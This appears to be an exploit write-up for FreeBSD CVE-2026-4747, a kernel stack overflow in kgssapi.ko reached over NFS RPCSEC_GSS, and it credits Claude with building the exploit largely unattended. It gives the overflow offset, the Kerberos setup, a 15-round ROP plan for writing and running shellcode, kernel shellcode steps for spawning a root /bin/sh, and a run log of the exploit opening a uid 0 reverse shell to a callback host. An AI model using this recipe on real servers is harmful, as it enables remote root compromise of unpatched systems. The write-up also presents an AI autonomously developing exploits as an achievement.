
Remote kernel RCE exploit for FreeBSD CVE-2026-4747, a stack buffer overflow in kgssapi.ko leading to root shell via ROP chain and shellcode.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Stack Buffer Overflow in kgssapi.ko → Root Shell in ~4 hours
"The first remote kernel RCE exploit discovered AND exploited by an AI. Total time: ~4 hours of real work."
— Discovered by Nicholas Carlini using Claude (Anthropic) · Published 26 Mar 2026
CVE-2026-4747 is a stack buffer overflow vulnerability located in kgssapi.ko, the FreeBSD kernel module that implements RPCSEC_GSS authentication for NFS.
The svc_rpc_gss_validate() function copies an attacker-controlled credential body into a 128-byte buffer on the stack (rpchdr[]) without checking the size. Since 32 bytes are already occupied by RPC header fields, only 96 bytes remain free — but the XDR layer allows credentials of up to 400 bytes, giving 304 bytes of overflow.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-based Buffer Overflow) |
| Component | kgssapi.ko / librpcgss_sec |
| Protocol | NFS / RPCSEC_GSS / Kerberos |
| Required privilege | Valid Kerberos ticket (low privilege) |
| Impact | Remote Kernel Code Execution → uid 0 |
| CVSS | 9.8 Critical |
| Patched | FreeBSD-SA-26:08.rpcsec_gss |
26 Mar 2026 ── FreeBSD publishes FreeBSD-SA-26:08.rpcsec_gss
Credit: "Nicholas Carlini using Claude, Anthropic"
29 Mar 2026 ── 09:45 AM PDT: Claude is asked to develop an exploit
05:00 PM PDT: Claude delivers a functional root shell
Total: ~7h wall clock / ~4h of real Claude work
The human was AFK for most of the process.
/* In svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Stack buffer */
/* 32 bytes already consumed by RPC header fields */
/* Only 96 bytes remain free */
/* XDR allows credentials of up to 400 bytes */
/* 400 - 96 = 304 bytes of overflow → RIP hijack */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: size not checked */
FreeBSD 14.x does not have:
int32_t[])This makes the overflow → RIP control direct.
Attacker (network)
│
│ Valid Kerberos ticket for nfs/target@REALM
│
▼
NFS Server (port 2049/TCP)
│
│ RPCSEC_GSS request with credential_len = 400
│
▼
svc_rpc_gss_validate() ← kernel ring 0
│
│ memcpy without size check
│ [128 bytes buffer + 304 bytes overflow]
│
▼
Stack Smashing → Controlled RIP → ROP chain → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell
Claude solved 6 distinct problems to go from advisory to root shell:
# FreeBSD 14.4-RELEASE VM with:
# - 2+ CPUs (FreeBSD spawns 8 NFS threads per CPU; the exploit needs 15 rounds)
# - kgssapi.ko loaded
# - NFS active on port 2049
# - MIT Kerberos KDC configured (required to reach the vulnerable code)
# - QEMU port forwarding: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Critical Kerberos configuration on the attacker:
# /etc/krb5.conf
[libdefaults]
rdns = false # Without this: ticket for nfs/localhost@REALM (incorrect)
dns_canonicalize_hostname = false # Server rejects with KRB5KRB_AP_WRONG_PRINC
The shellcode is 432 bytes but only 200 bytes are available for the ROP chain per packet.
Round 1: ROP → pmap_change_prot(BSS, RWX) ← make BSS executable
Rounds 2-14: ROP → write 32 bytes of shellcode to BSS (4 writes × 8 bytes)
Round 15: ROP → write last bytes + JUMP to shellcode
Budget per round: 4 writes × 40 bytes = 160 bytes + 24 bytes exit = 184 bytes ✓ (< 200)
; Each round ends with kthread_exit(0) instead of a normal return
; The server doesn't crash — it simply loses an NFS thread
; With 2 CPUs: 16 threads available → enough for 15 rounds
# De Bruijn sequence → every 8-byte substring is unique
# Send as credential body → kernel crashes → read RIP from crash dump
# Disassembly said offset 168 → real: 200 bytes
# Difference: 32 bytes of GSS header that static analysis didn't account for
pattern = cyclic(400) # 400-byte De Bruijn
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
The shellcode runs in a pure kernel NFS thread — no vmspace, no trapframe.
/* Phase 1 (in hijacked NFS thread shellcode): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Kill NFS thread cleanly */
/* Phase 2 (in the new process): */
/* 1. Clear debug registers (hardware bug - see Step 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Execute /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. CRITICAL: Clear P_KPROC flag */
/* Without this, fork_exit() calls kthread_exit() and kills the process */
proc->p_flag &= ~P_KPROC;
/* 4. Return → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */
Symptom: Child process crashes with trap 1 (debug exception) on a valid instruction.
Cause: kproc_create/fork1 copies the parent's PCB, inheriting DDB breakpoints
left over from previous crashes during exploit development.
Fix: Two instructions before kproc_create:
xor eax, eax
mov dr7, rax ← Disables all hardware breakpoints
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE → JUMP 0xffffffff8198a800